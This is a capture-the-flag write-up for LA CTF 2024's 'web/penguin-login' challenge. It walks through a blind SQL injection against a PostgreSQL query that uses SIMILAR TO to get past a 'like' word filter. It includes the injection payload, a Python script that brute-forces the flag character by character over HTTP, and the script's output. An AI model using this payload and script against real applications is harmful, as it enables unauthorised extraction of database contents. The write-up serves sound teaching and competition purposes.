145 lines
5.4 KiB
Markdown
145 lines
5.4 KiB
Markdown
---
|
|
title: 'LA CTF 2024: web/penguin-login'
|
|
date: 2024-02-21
|
|
tags: ['ctf', 'ctf-web', 'sql']
|
|
---
|
|
## Task
|
|
> **web/penguin-login**
|
|
>
|
|
> I got tired of people leaking my password from the db so I moved it out of the db. [penguin.chall.lac.tf](https://penguin.chall.lac.tf)
|
|
>
|
|
> `penguin-login.zip`
|
|
|
|
- `Author: r2uwu2`
|
|
- `Points: 392`
|
|
- `Solves: 182 / 1074 (16.946%)`
|
|
|
|
## Writeup
|
|
|
|
The listed website presents us with a page consisting of a single text box, with a tiled GIF of a baby penguin as the background.
|
|
|
|
The source code shows us that our input must only consist of certain characters and cannot contain the word "like".
|
|
|
|
```py
|
|
allowed_chars = set(string.ascii_letters + string.digits + " 'flag{a_word}'")
|
|
forbidden_strs = ["like"]
|
|
...
|
|
username = request.form["username"]
|
|
conn = get_database_connection()
|
|
assert all(c in allowed_chars for c in username), "no character for u uwu"
|
|
assert all(
|
|
forbidden not in username.lower() for forbidden in forbidden_strs
|
|
), "no word for u uwu"
|
|
```
|
|
|
|
If our input passes these checks, it is used in an PostgreSQL query. However, the only information we get back is whether the query had a match or not.
|
|
|
|
```py
|
|
with conn.cursor() as curr:
|
|
curr.execute("SELECT * FROM penguins WHERE name = '%s'" % username)
|
|
result = curr.fetchall()
|
|
|
|
if len(result):
|
|
return "We found a penguin!!!!!", 200
|
|
return "No penguins sadg", 201
|
|
```
|
|
|
|
Additionally, the only data in the database is as follows:
|
|
|
|
```py
|
|
curr.execute("INSERT INTO penguins (name) VALUES ('peng')")
|
|
curr.execute("INSERT INTO penguins (name) VALUES ('emperor')")
|
|
curr.execute("INSERT INTO penguins (name) VALUES ('%s')" % (flag))
|
|
```
|
|
|
|
We need find a way to select the flag without knowing it exactly. One way we could do this is with SQL's `LIKE` operator, which lets us match a string with `%` representing any number of characters and `_` representing a single character. The program will not allow the word `LIKE` to appear in our input though, so we need to find something else.
|
|
|
|
Instead, we can use PostgreSQL's `SIMILAR TO` which also lets us use `%` and `_` in the same way. The valid character set only contains `_` though, so our input will look something like this:
|
|
|
|
```
|
|
' OR name SIMILAR TO '_
|
|
```
|
|
|
|
This will make the executed query:
|
|
|
|
```sql
|
|
SELECT * FROM penguins WHERE name = '' OR name SIMILAR TO '_'
|
|
```
|
|
|
|
To determine the length of the flag, we can send variations of this input with different numbers of `_`s until we get a match, ignoring lengths of 4 and 7, as we know `peng` and `emperor` are in the database.
|
|
|
|
We find that the flag contains 45 characters. Now, we can write a script to brute force each possible character in each position, one at a time:
|
|
|
|
```py
|
|
import requests
|
|
import string
|
|
|
|
name = list('lactf________________________________________')
|
|
# '{' and '}' also have a special meaning with SIMILAR TO, so we will omit using them
|
|
# we know where '{' and '}' will appear in the flag anyways
|
|
chars = list(set(string.ascii_letters + string.digits + " 'flag{a_word}'") - {'_', '{', '}'})
|
|
|
|
for i in range(6, len(name)):
|
|
print(''.join(name))
|
|
for c in chars:
|
|
name[i] = c
|
|
req = requests.post('https://penguin.chall.lac.tf/submit', {
|
|
'username': f"' or name similar to '{''.join(name)}"
|
|
})
|
|
if req.status_code == 200:
|
|
break
|
|
else:
|
|
# nothing worked, revert this char back to a literal '_'
|
|
name[i] = '_'
|
|
```
|
|
|
|
Running this script will take a while, but will eventually produce the following output:
|
|
|
|
```
|
|
lactf________________________________________
|
|
lactf_9______________________________________
|
|
lactf_90_____________________________________
|
|
lactf_90s____________________________________
|
|
lactf_90st___________________________________
|
|
lactf_90stg__________________________________
|
|
lactf_90stgr_________________________________
|
|
lactf_90stgr3________________________________
|
|
lactf_90stgr35_______________________________
|
|
lactf_90stgr35_______________________________
|
|
lactf_90stgr35_3_____________________________
|
|
lactf_90stgr35_3s____________________________
|
|
lactf_90stgr35_3s____________________________
|
|
lactf_90stgr35_3s_n__________________________
|
|
lactf_90stgr35_3s_n0_________________________
|
|
lactf_90stgr35_3s_n0t________________________
|
|
lactf_90stgr35_3s_n0t________________________
|
|
lactf_90stgr35_3s_n0t_l______________________
|
|
lactf_90stgr35_3s_n0t_l7_____________________
|
|
lactf_90stgr35_3s_n0t_l7k____________________
|
|
lactf_90stgr35_3s_n0t_l7k3___________________
|
|
lactf_90stgr35_3s_n0t_l7k3___________________
|
|
lactf_90stgr35_3s_n0t_l7k3_t_________________
|
|
lactf_90stgr35_3s_n0t_l7k3_th________________
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_______________
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_______________
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_0_____________
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_0t____________
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_0th___________
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_0th3__________
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_________
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_________
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_d_______
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_db______
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_____
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_____
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0___
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w__
|
|
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0_
|
|
```
|
|
|
|
Thus, the correct flag is `lactf{90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0}`.
|
|
|
|
## Reference
|
|
|
|
- [PostgreSQL SIMILAR TO](https://www.postgresql.org/docs/current/functions-matching.html#FUNCTIONS-SIMILARTO-REGEXP)
|